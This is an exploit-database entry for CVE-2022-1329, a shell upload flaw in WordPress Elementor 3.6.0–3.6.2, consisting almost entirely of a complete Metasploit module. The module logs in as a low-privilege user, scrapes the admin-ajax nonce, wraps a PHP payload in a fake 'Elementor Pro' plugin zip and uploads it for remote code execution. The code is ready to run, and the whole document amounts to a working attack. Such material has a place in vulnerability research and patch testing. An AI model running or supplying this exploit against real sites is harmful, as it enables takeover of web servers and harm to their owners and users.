Headline
WordPress Elementor 3.6.2 Shell Upload
WordPress Elementor plugin versions 3.6.0 through 3.6.2 suffer from a remote shell upload vulnerability. This is achieved by sending a request to install Elementor Pro from a user supplied zip file. Any user with Subscriber or more permissions is able to execute this.
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::CmdStager include Msf::Exploit::Remote::HTTP::Wordpress include Msf::Exploit::FileDropper def initialize(info = {}) super( update_info( info, 'Name' => 'Wordpress Plugin Elementor Authenticated Upload Remote Code Execution', 'Description' => %q{ The WordPress plugin Elementor versions 3.6.0 - 3.6.2, inclusive have a vulnerability that allows any authenticated user to upload and execute any PHP file. This is achieved by sending a request to install Elementor Pro from a user supplied zip file. Any user with Subscriber or more permissions is able to execute this. Tested against Elementor 3.6.1 }, 'License' => MSF_LICENSE, 'Author' => [ 'Ramuel Gall', # Discovery 'AkuCyberSec', # Exploit-db 'h00die' # Metasploit module ], 'References' => [ ['EDB', '50115'], ['CVE', '2022-1329'], ['URL', 'https://www.wordfence.com/blog/2022/04/elementor-critical-remote-code-execution-vulnerability/'], ['URL', 'https://www.youtube.com/watch?v=tIhN1svzAYk'] # great video about the exploit ], 'Platform' => [ 'php' ], 'Arch' => ARCH_PHP, 'Targets' => [ [ 'Wordpress Elementor', {}] ], 'Privileged' => false, 'DisclosureDate' => '2022-03-29', 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ], 'Reliability' => [ REPEATABLE_SESSION ] } ) ) register_options [ OptString.new('USERNAME', [true, 'Username of a subscriber or higher account', '']), OptString.new('PASSWORD', [true, 'Password of a subscriber or higher account', '']), OptString.new('TARGETURI', [true, 'The base path of the Wordpress server', '/']) ] end def check unless wordpress_and_online? return CheckCode::Safe('Server not online or not detected as Wordpress') end cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD']) CheckCode::Safe('Invalid credentials given!') unless cookie return check_plugin_version_from_readme('elementor', '3.6.3', '3.6.0') end def upload_file(nonce, cookie) zip_file = Rex::Zip::Archive.new payload_name = 'elementor-pro.php' print_status("Payload file name: #{payload_name}") # we end up in wp-admin, so we need to get to the right folder register_dirs_for_cleanup('../wp-content/plugins/elementor-pro') # payload must contain a Plugin Name header with the name of the plugin pload = "<?php\n" pload << "/**\n" pload << "* Plugin Name: Elementor Pro\n" pload << "*/\n" pload << payload.encoded.gsub('/*<?php /**/ ', '') pload << "\n?>" zip_file.add_file("/elementor-pro/#{payload_name}", pload) vars_form_data = [ # post_data.add_part('elementor_upload_and_install_pro', nil, nil, 'form-data; name="action"') { 'name' => 'action', 'data' => 'elementor_upload_and_install_pro' }, # post_data.add_part(nonce, nil, nil, 'form-data; name="_nonce"') { 'name' => '_nonce', 'data' => nonce }, # post_data.add_part(zip_file.pack, 'application/x-zip-compressed', 'binary', 'form-data; name="fileToUpload"; filename="elementor-pro.zip"') { 'name' => 'fileToUpload', 'data' => zip_file.pack, 'encoding' => 'binary', 'filename' => 'elementor-pro.zip', 'mime_type' => 'application/x-zip-compressed' } ] resp = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'), 'cookie' => cookie, 'vars_form_data' => vars_form_data ) # we get a timeout on success if resp.nil? print_good('Payload Uploaded Successfully') return end fail_with(Failure::UnexpectedReply, 'Error uploading payload') end def get_nonce(cookie) res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'profile.php'), 'cookie' => cookie ) unless res && (res.code == 200) fail_with(Failure::UnexpectedReply, "Could not get the nonce (#{res.code})") end # find the RIGHT nonce, there are many nonces on the page, but we need the admin-ajax one res.body.scan(/admin-ajax.php","nonce":"([a-z0-9]+)"/)[0][0].to_s end def exploit cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD']) fail_with(Failure::NoAccess, 'Authentication failed') unless cookie cookie = cookie.gsub('wordpress_test_cookie=WP%20Cookie%20check; ', '') print_status('Looking for nonce') nonce = get_nonce(cookie) fail_with(Failure::NoAccess, 'Unable to find nonce') if nonce.nil? print_good("Nonce: #{nonce}") print_status('Uploading upgrade payload and activating...') upload_file(nonce, cookie) endend